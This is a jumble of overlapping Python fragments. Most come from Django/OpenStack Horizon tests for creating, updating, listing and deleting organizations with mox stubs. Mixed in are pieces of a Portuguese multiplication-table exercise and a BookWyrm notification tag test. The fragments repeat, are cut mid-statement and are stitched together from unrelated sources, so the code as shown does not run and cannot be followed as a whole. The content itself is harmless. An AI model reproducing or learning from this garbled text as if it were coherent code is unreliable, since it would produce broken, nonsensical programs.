self.mox.ReplayAll()", "@test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest),", "('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() # Owned organizations mockup # Only calls", "mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response,", "@test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2]", "= self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({", "field is required.']) self.assertFormError(response, 'form', 'description', ['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests):", "express or implied. See the # License for the specific language governing permissions", "and limitations # under the License. import unittest from mox import IsA #", "'description', ['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get',", "'tenant_get', ), }) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll()", "form_data = { 'method': 'CreateOrganizationForm', 'name': '', 'description': '', } response = self.client.post(CREATE_URL,", "an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either", "# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "CONDITIONS OF ANY KIND, either express or implied. See the # License for", "django.core.urlresolvers import reverse from openstack_dashboard import api from openstack_dashboard.test import helpers as test", "project): project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\":", "'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def", "for the specific language governing permissions and limitations # under the License. import", "reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = { \"name\":", "'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class", "form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project)", "https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self):", "self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project", "args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not", "= { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar', args=[project.id]) response", "class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\":", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project = self.get_organization()", "for multiforms :( self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertFormError(response, 'form', 'description',", "UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), })", "CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = { \"name\": unicode(project.name),", "}) def test_update_info(self): project = self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\": 'updated", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "The world is tought for multiforms :( self.assertFormError(response, 'form', 'name', ['This field is", "'', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests):", "self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations()", "form contains the last form in forms, not the one # we want", "compliance with the License. You may obtain # a copy of the License", "as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL", "IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "'CreateOrganizationForm', 'name': '', 'description': '', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name',", "not the one # we want to test. The world is tought for", "django import http from django.core.urlresolvers import reverse from openstack_dashboard import api from openstack_dashboard.test", "project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID': project.id,", "IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() # Owned organizations mockup #", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in", "return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() # Owned", "args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project", "'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response", "self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: (", "reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation", "\"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = {", "('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data", "project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"],", "{ 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar', args=[project.id]) response =", "api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID': project.id, }", "may # not use this file except in compliance with the License. You", "openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL", "form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar', args=[project.id])", "project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"],", "either express or implied. See the # License for the specific language governing", "admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users)", "self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def", "{ 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info',", "this file except in compliance with the License. You may obtain # a", "# Only calls the default/first tab, no need to mock the others tab", "), }) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data", "reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self):", "= self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm',", "(C) 2014 Universidad Politecnica de Madrid # # Licensed under the Apache License,", "@test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) }) def test_detail(self): project = self.get_organization() users", "or implied. See the # License for the specific language governing permissions and", "['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ),", "api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], }", "ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self): project = self.get_organization() mock_file", "user_organizations = self.list_organizations() # Owned organizations mockup # Only calls the default/first tab,", "( 'tenant_update', ), }) def test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project", "project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests):", "test_index(self): user_organizations = self.list_organizations() # Owned organizations mockup # Only calls the default/first", "self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone:", "import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def", "self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', )", "user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False))", "= self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests):", "self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project", "on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,", "response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project =", "de Madrid # # Licensed under the Apache License, Version 2.0 (the \"License\");", "= {\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project)", "api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description':", "self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name':", "DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) }) def test_detail(self): project = self.get_organization()", "( 'tenant_get', 'user_list', ) }) def test_detail(self): project = self.get_organization() users = self.users.list()", "= { 'method': 'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response =", "@test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project = self.get_organization() updated_project", "= all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest),", "\"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' }", "as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project):", "organizations mockup # Only calls the default/first tab, no need to mock the", "class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project =", "'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data", "form_data) # FIXME(garcianavalon) form contains the last form in forms, not the one", "test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = {", "= self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': '',", "{ 'method': 'CreateOrganizationForm', 'name': '', 'description': '', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response,", "class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project =", "self.list_organizations() # Owned organizations mockup # Only calls the default/first tab, no need", "'tenant_get', ), }) def test_update_contact(self): project = self.get_organization() updated_project = { \"email\": '<EMAIL>',", "self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations,", "self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website':", "BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = { \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled,", "'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id,", "url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)})", "api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file)", "'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations =", "OR CONDITIONS OF ANY KIND, either express or implied. See the # License", "= all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False))", "obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info", "calls the default/first tab, no need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id,", "'', 'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) #", "args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get',", "openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class", "tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations)", "the last form in forms, not the one # we want to test.", "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may #", "self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:]", "test_detail(self): project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project)", "# we want to test. The world is tought for multiforms :( self.assertFormError(response,", "field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), })", "self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations =", "('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] #", "@test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_info(self): project = self.get_organization() updated_project", "# Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response", "project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method':", "import reverse from openstack_dashboard import api from openstack_dashboard.test import helpers as test from", "= self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name': '',", "self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"],", "\"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll()" ]
[ "DESAFIO 9, mostrando a tabuada # de um número que o usuário escolher,", "= int(input('Digite o numero da tabuada que deseja ver: ')) for i in", "um laço for. num = int(input('Digite o numero da tabuada que deseja ver:", "int(input('Digite o numero da tabuada que deseja ver: ')) for i in range(1,", "9, mostrando a tabuada # de um número que o usuário escolher, #", "usuário escolher, # só que agora utilizando um laço for. num = int(input('Digite", "de um número que o usuário escolher, # só que agora utilizando um", "num = int(input('Digite o numero da tabuada que deseja ver: ')) for i", "numero da tabuada que deseja ver: ')) for i in range(1, 11): print('{}", "que o usuário escolher, # só que agora utilizando um laço for. num", "# de um número que o usuário escolher, # só que agora utilizando", "<filename>PythonDesafios/d049.py #Refaça o DESAFIO 9, mostrando a tabuada # de um número que", "laço for. num = int(input('Digite o numero da tabuada que deseja ver: '))", "agora utilizando um laço for. num = int(input('Digite o numero da tabuada que", "o numero da tabuada que deseja ver: ')) for i in range(1, 11):", "só que agora utilizando um laço for. num = int(input('Digite o numero da", "um número que o usuário escolher, # só que agora utilizando um laço", "escolher, # só que agora utilizando um laço for. num = int(input('Digite o", "que deseja ver: ')) for i in range(1, 11): print('{} X {} =", "que agora utilizando um laço for. num = int(input('Digite o numero da tabuada", "# só que agora utilizando um laço for. num = int(input('Digite o numero", "mostrando a tabuada # de um número que o usuário escolher, # só", "número que o usuário escolher, # só que agora utilizando um laço for.", "deseja ver: ')) for i in range(1, 11): print('{} X {} = {}'.format(i,", "a tabuada # de um número que o usuário escolher, # só que", "o usuário escolher, # só que agora utilizando um laço for. num =", "for. num = int(input('Digite o numero da tabuada que deseja ver: ')) for", "ver: ')) for i in range(1, 11): print('{} X {} = {}'.format(i, num,", "o DESAFIO 9, mostrando a tabuada # de um número que o usuário", "tabuada que deseja ver: ')) for i in range(1, 11): print('{} X {}", "utilizando um laço for. num = int(input('Digite o numero da tabuada que deseja", "da tabuada que deseja ver: ')) for i in range(1, 11): print('{} X", "tabuada # de um número que o usuário escolher, # só que agora", "')) for i in range(1, 11): print('{} X {} = {}'.format(i, num, i*num))", "#Refaça o DESAFIO 9, mostrando a tabuada # de um número que o" ]
[ "\"\"\" from unittest.mock import patch from django.test import TestCase from bookwyrm import models", "notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create some", "test_related_status(self, *_): \"\"\"gets the subclass model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status", "notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\",", "models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\"", "for templates \"\"\" from unittest.mock import patch from django.test import TestCase from bookwyrm", "import TestCase from bookwyrm import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class", "style fixes and lookups for templates \"\"\" from unittest.mock import patch from django.test", "\"\"\"gets the subclass model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\",", "status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status ) result =", "templates \"\"\" from unittest.mock import patch from django.test import TestCase from bookwyrm import", "from django.test import TestCase from bookwyrm import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\")", "models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status ) result = notification_page_tags.related_status(notification) self.assertIsInstance(result,", "def test_related_status(self, *_): \"\"\"gets the subclass model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"):", "and lookups for templates \"\"\" from unittest.mock import patch from django.test import TestCase", "from unittest.mock import patch from django.test import TestCase from bookwyrm import models from", "different things here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\"", "\"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the subclass model for a", "patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status ) result", "patch from django.test import TestCase from bookwyrm import models from bookwyrm.templatetags import notification_page_tags", "\"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch(", "model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification =", "lookups for templates \"\"\" from unittest.mock import patch from django.test import TestCase from", "class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\" with", "def setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user", ") def test_related_status(self, *_): \"\"\"gets the subclass model for a notification status\"\"\" with", "user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status ) result = notification_page_tags.related_status(notification) self.assertIsInstance(result, models.Status)", "), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self,", "*_): \"\"\"gets the subclass model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status =", "patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\",", "<gh_stars>100-1000 \"\"\" style fixes and lookups for templates \"\"\" from unittest.mock import patch", "fixes and lookups for templates \"\"\" from unittest.mock import patch from django.test import", "import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create", "@patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\"", "objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\",", "here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"):", "\"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user(", "some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\",", "unittest.mock import patch from django.test import TestCase from bookwyrm import models from bookwyrm.templatetags", "filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( 